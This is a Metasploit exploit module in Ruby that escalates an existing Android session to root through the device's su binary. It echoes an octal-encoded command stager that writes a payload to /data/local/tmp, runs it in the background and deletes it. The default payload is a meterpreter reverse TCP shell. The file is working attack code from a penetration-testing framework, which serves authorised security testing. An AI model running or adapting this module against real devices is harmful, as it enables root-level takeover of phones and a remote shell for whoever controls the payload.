##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Exploit::CmdStager
  include Msf::Post::File
  include Msf::Post::Android::Priv

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => "Android 'su' Privilege Escalation",
          'Description' => %q{
            This module uses the su binary present on rooted devices to run
            a payload as root.

            A rooted Android device will contain a su binary (often linked with
            an application) that allows the user to run commands as root.
            This module will use the su binary to execute a command stager
            as root. The command stager will write a payload binary to a
            temporary directory, make it executable, execute it in the background,
            and finally delete the executable.

            On most devices the su binary will pop-up a prompt on the device
            asking the user for permission.
          },
          'Author' => 'timwr',
          'License' => MSF_LICENSE,
          'DisclosureDate' => '2017-08-31',
          'SessionTypes' => [ 'meterpreter', 'shell' ],
          'Platform' => [ 'android', 'linux' ],
          'Targets' => [
            ['aarch64', { 'Arch' => ARCH_AARCH64 }],
            ['armle', { 'Arch' => ARCH_ARMLE }],
            ['x86', { 'Arch' => ARCH_X86 }],
            ['x64', { 'Arch' => ARCH_X64 }],
            ['mipsle', { 'Arch' => ARCH_MIPSLE }]
          ],
          'DefaultOptions' => {
            'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',
            'WfsDelay' => 5
          },
          'DefaultTarget' => 0,
          'Notes' => {
            'SideEffects' => [ ARTIFACTS_ON_DISK ],
            'Reliability' => [ REPEATABLE_SESSION ],
            'Stability' => [ CRASH_SAFE ]
          }
        }
      )
    )
    register_options([
      OptString.new('SU_BINARY', [true, 'The su binary to execute to obtain root', 'su']),
      OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/']),
    ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def su_bin
    datastore['SU_BINARY'].to_s
  end

  def exploit
    if is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges')
    end

    linemax = 4088 - su_bin.size
    execute_cmdstager({
      flavor: :echo,
      enc_format: :octal,
      prefix: '\\\\0',
      temp: base_dir,
      linemax: linemax,
      background: true
    })
  end

  def execute_command(cmd, _opts)
    cmd_exec("#{su_bin} -c '#{cmd}'")
  end
end
